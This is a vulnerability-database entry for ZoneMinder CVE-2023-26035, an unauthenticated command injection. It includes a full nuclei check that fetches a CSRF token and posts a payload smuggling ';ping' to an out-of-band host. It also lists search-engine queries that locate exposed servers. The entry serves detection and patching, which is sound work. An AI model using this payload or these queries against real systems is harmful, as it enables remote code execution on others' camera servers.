HexBrain

Browse / CVEs / CVE-2023-26035

CVE-2023-26035· zoneminder / zoneminder· CWE-862

ZoneMinder Snapshots - Command Injection

criticalseverity
9.8CVSS score
80.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.

Impact

Unauthenticated attackers can execute arbitrary commands on the ZoneMinder server by exploiting missing authorization checks, potentially compromising all monitored camera systems and recorded footage.

Fix

Upgrade to ZoneMinder version 1.36.33 or 1.37.33 or later.

How to confirm it

Send: GET /index.php
Send: POST /index.php
Positive when: contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2023-26035 -u <target>

The full check
id: CVE-2023-26035

info:
  name: ZoneMinder Snapshots - Command Injection
  author: Unblvr1,whotwagner
  severity: critical
  description: |
    ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the ZoneMinder server by exploiting missing authorization checks, potentially compromising all monitored camera systems and recorded footage.
  remediation: |
    Upgrade to ZoneMinder version 1.36.33 or 1.37.33 or later.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/webapp/zoneminder_snapshots/
    - https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr
    - https://packetstormsecurity.com/files/175675/ZoneMinder-Snapshots-Command-Injection.html
    - https://github.com/rvizx/CVE-2023-26035
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26035
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-26035
    cwe-id: CWE-862
    epss-score: 0.80462
    epss-percentile: 0.99626
    cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: zoneminder
    product: zoneminder
    shodan-query:
      - html:"ZM - Login"
      - http.html:"zm - login"
    fofa-query: body="zm - login"
  tags: cve,cve2023,rce,zoneminder,unauth,packetstorm,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - csrfMagicToken = \"(key:[a-f0-9]{40},\d+)
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        view=snapshot&action=create&monitor_ids[0][Id]=;ping+{{interactsh-url}}&__csrf_magic={{csrf_token}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")

References

Use this check only on systems you are authorised to test. Where the data comes from